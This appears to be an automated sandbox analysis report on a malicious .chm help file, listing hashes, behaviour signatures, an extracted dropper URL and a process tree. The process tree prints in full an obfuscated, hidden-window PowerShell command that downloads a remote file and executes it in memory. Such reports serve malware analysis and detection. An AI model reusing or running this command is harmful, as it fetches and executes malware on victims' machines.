Analysis

  • max time kernel
    183s
  • max time network
    187s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-05-2022 01:54

General

  • Target

    4e5ef8e38b17fdf30961f28d4b5e2e23.chm

  • Size

    14KB

  • MD5

    4e5ef8e38b17fdf30961f28d4b5e2e23

  • SHA1

    a7da3f869505242eb93c6bb07bc7cc76b6a5d71b

  • SHA256

    f0c20d4ea2e2cc1d3c9df58b1a4854f9e3b761b7cd0c26860559289c74a8d50f

  • SHA512

    c33cfc30c355dcb2638a7835986572c3da27b12cbb6c4a3773fbd1ce03e2c5b1710e15f1a15253f2951455eae53e71b5837dcc4176ace40bf43326b72e846f7c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pacurariu.com/F37.jpg

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\4e5ef8e38b17fdf30961f28d4b5e2e23.chm
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'http' + '://pacurariu.com/F37.jpg')|P
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4260

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/4260-131-0x0000000000000000-mapping.dmp

  • memory/4260-132-0x0000023291480000-0x00000232914A2000-memory.dmp

    Filesize

    136KB

  • memory/4260-133-0x00000232908A0000-0x0000023291361000-memory.dmp

    Filesize

    10.8MB